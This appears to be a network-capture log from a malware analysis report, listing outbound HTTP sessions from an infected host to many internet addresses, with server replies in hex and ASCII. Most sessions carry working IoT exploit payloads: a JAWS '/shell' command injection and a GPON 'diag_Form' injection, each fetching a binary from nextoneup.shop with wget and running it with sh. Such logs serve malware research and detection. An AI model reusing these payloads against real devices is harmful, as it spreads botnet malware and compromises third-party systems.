20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 35 41 30 30 35 39 3b 20 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 33 30 70 78 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 30 30 30 30 30 30 3b 20 7d 23 73 74 6f 6e 62 6f 78 62 6f 64 79 20 7b 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 20 7d 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 20 61 6c 69 67 6e 3d 22 63 65 6e 74 65 72 22 3e 3c 64 69 76 20 69 64 3d 22 73 74 6f 6e 6f 75 74 6c 69 6e 65 22 3e 3c 64 69 76 20 69 64 3d 22 73 74 6f 6e 62 6f 78 6f 75 74 6c 69 6e 65 22 3e 3c 64 69 76 20 69 64 3d 22 73 74 6f 6e 62 6f 78 68 65 61 64 65 72 22 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 64 69 76 3e 3c 64 69 76 20 69 64 3d 22 73 74 6f 6e 62 6f 78 62 6f 64 79 22 3e 3c 50 3e 52 65 71 75 65 73 74 65 64 20 68 6f 73 74 20 28 22 31 32 37 2e 30 2e 30 2e 31 3a 38 30 22 29 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 50 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>STON</title><style>... * { font-family: arial, sans-serif; font-size: 12px; color: #656565; }#stonoutline { width: 800px; margin: 0px; padding: 0px; padding-top: 60px; padding-bottom: 60px; background: #FFFFFF; }#stonboxoutline { width: 600px; margin: 0px; padding: 0px; border: 1px solid #000000; }#stonboxheader { width: 600px; margin: 0px; padding: 0px; background: #5A0059; color: #FFFFFF; font-weight: bold; font-size: 14px; line-height: 30px; text-align: center; border-bottom: 1px solid #000000; }#stonboxbody { margin: 0px; padding: 10px; text-align: left; } --></style></head><body><div align="center"><div id="stonoutline"><div id="stonboxoutline"><div id="stonboxheader">404 Not Found</div><div id="stonboxbody"><P>Requested host ("127.0.0.1:80") not found.</P></div></div></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1370	192.168.2.23	58028	108.157.57.41	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:44.907730103 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:45.256916046 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:00:45 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1371	192.168.2.23	49376	65.9.174.109	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:44.934887886 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:45.310961008 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:00:45 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1372	192.168.2.23	58250	124.89.27.85	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:44.999684095 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:45.439539909 CEST	856	IN	HTTP/1.1 404 Not Found Server: Tengine/2.3.2 Date: Sun, 14 Apr 2024 02:00:45 GMT Content-Type: text/html Content-Length: 647 Connection: keep-alive Alt-svc: quic=":8443";ma=2592000;v="43" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 20 53 6f 72 72 79 20 66 6f 72 20 74 68 65 20 69 6e 63 6f 6e 76 65 6e 69 65 6e 63 65 2e 3c 62 72 2f 3e 0d 0a 50 6c 65 61 73 65 20 72 65 70 6f 72 74 20 74 68 69 73 20 6d 65 73 73 61 67 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 75 73 2e 3c 62 72 2f 3e 0d 0a 54 68 61 6e 6b 20 79 6f 75 20 76 65 72 79 20 6d 75 63 68 21 3c 2f 70 3e 0d 0a 3c 74 61 62 6c 65 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 55 52 4c 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 68 74 74 70 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 3b 72 6d 2b 2d 72 66 2b 2a 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 3b 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 53 65 72 76 65 72 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 63 64 6e 78 61 63 6d 30 31 2d 72 73 34 34 2e 69 64 63 63 64 6e 2e 78 61 2e 6b 77 61 69 64 63 2e 63 6f 6d 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 74 72 3e 0d 0a 3c 74 64 3e 44 61 74 65 3a 3c 2f 74 64 3e 0d 0a 3c 74 64 3e 32 30 32 34 2f 30 34 2f 31 34 20 30 32 3a 30 30 3a 34 35 3c 2f 74 64 3e 0d 0a 3c 2f 74 72 3e 0d 0a 3c 2f 74 61 62 6c 65 3e 0d 0a 3c 68 72 2f 3e 50 6f 77 65 72 65 64 20 62 79 20 54 65 6e 67 69 6e 65 2f 32 2e 33 2e 32 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 74 65 6e 67 69 6e 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center> Sorry for the inconvenience.<br/>Please report this message and include the following information to us.<br/>Thank you very much!</p><table><tr><td>URL:</td><td>http://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws</td></tr><tr><td>Server:</td><td>cdnxacm01-rs44.idccdn.xa.kwaidc.com</td></tr><tr><td>Date:</td><td>2024/04/14 02:00:45</td></tr></table><hr/>Powered by Tengine/2.3.2<hr><center>tengine</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1373	192.168.2.23	54960	210.85.4.141	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:45.474802971 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1374	192.168.2.23	47014	23.203.230.108	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:46.617189884 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:46.793693066 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:00:46 GMT Date: Sun, 14 Apr 2024 02:00:46 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 61 35 65 64 36 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 34 36 26 23 34 36 3b 36 31 65 62 38 38 34 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 36 61 35 65 64 36 31 37 26 23 34 36 3b 31 37 31 33 30 36 30 30 34 36 26 23 34 36 3b 36 31 65 62 38 38 34 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.6a5ed617.1713060046.61eb884<P>https://errors.edgesuite.net/9.6a5ed617.1713060046.61eb884</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1375	192.168.2.23	5463	162.93.222.234	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:46.620570898 CEST	42	IN	Data Raw: 42 49 47 2d 49 50 3a 20 5b 30 78 32 63 32 35 33 30 64 3a 32 34 39 31 5d 20 4e 6f 20 6c 6f 63 61 6c 20 6c 69 73 74 65 6e 65 72 Data Ascii: BIG-IP: [0x2c2530d:2491] No local listener

Session ID	Source IP	Source Port	Destination IP	Destination Port
1376	192.168.2.23	35924	98.198.3.30	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:46.653625011 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1377	192.168.2.23	34492	68.170.163.78	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:47.045142889 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1378	192.168.2.23	35948	98.198.3.30	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:47.092040062 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1379	192.168.2.23	50540	186.101.111.28	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:47.096019983 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1380	192.168.2.23	37386	18.202.49.62	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:47.121763945 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1381	192.168.2.23	34552	154.216.117.193	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:47.121939898 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:47.457459927 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:47 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1382	192.168.2.23	51888	190.104.64.250	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:47.259876966 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:47.648403883 CEST	493	IN	HTTP/1.1 404 Not Found Date: Sun, 14 Apr 2024 02:00:47 GMT Server: Apache/2.2.9 (Unix) mod_ssl/2.2.9 OpenSSL/0.9.8e DAV/2 PHP/5.3.4 with Suhosin-Patch Content-Length: 203 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1383	192.168.2.23	45914	103.151.240.80	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:47.292074919 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1384	192.168.2.23	45912	103.151.240.80	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:47.316047907 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:48.675569057 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1385	192.168.2.23	44568	14.229.1.201	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:47.497781992 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:47.949830055 CEST	289	IN	HTTP/1.1 404 Not Found CONNECTION: close CONTENT-LENGTH: 48 X-XSS-Protection: 1;mode=block Content-Security-Policy: script-src 'self' 'unsafe-inline' 'unsafe-eval' X-Content-Type-Options: nosniff CONTENT-TYPE: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1386	192.168.2.23	49902	74.117.246.84	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:47.643352032 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:47.886015892 CEST	740	IN	HTTP/1.1 401 Unauthorized Date: Sun, 14 Apr 2024 02:00:47 GMT Server: Apache/2.4.29 (Ubuntu) WWW-Authenticate: Basic realm="Restricted Content" Content-Length: 456 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 76 65 72 69 66 79 20 74 68 61 74 20 79 6f 75 0a 61 72 65 20 61 75 74 68 6f 72 69 7a 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 0a 72 65 71 75 65 73 74 65 64 2e 20 20 45 69 74 68 65 72 20 79 6f 75 20 73 75 70 70 6c 69 65 64 20 74 68 65 20 77 72 6f 6e 67 0a 63 72 65 64 65 6e 74 69 61 6c 73 20 28 65 2e 67 2e 2c 20 62 61 64 20 70 61 73 73 77 6f 72 64 29 2c 20 6f 72 20 79 6f 75 72 0a 62 72 6f 77 73 65 72 20 64 6f 65 73 6e 27 74 20 75 6e 64 65 72 73 74 61 6e 64 20 68 6f 77 20 74 6f 20 73 75 70 70 6c 79 0a 74 68 65 20 63 72 65 64 65 6e 74 69 61 6c 73 20 72 65 71 75 69 72 65 64 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>401 Unauthorized</title></head><body><h1>Unauthorized</h1><p>This server could not verify that youare authorized to access the documentrequested. Either you supplied the wrongcredentials (e.g., bad password), or yourbrowser doesn't understand how to supplythe credentials required.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1387	192.168.2.23	45752	123.221.246.34	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:48.492870092 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1388	192.168.2.23	55312	37.205.244.202	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:48.492935896 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1389	192.168.2.23	34202	94.74.54.5	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:48.493004084 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 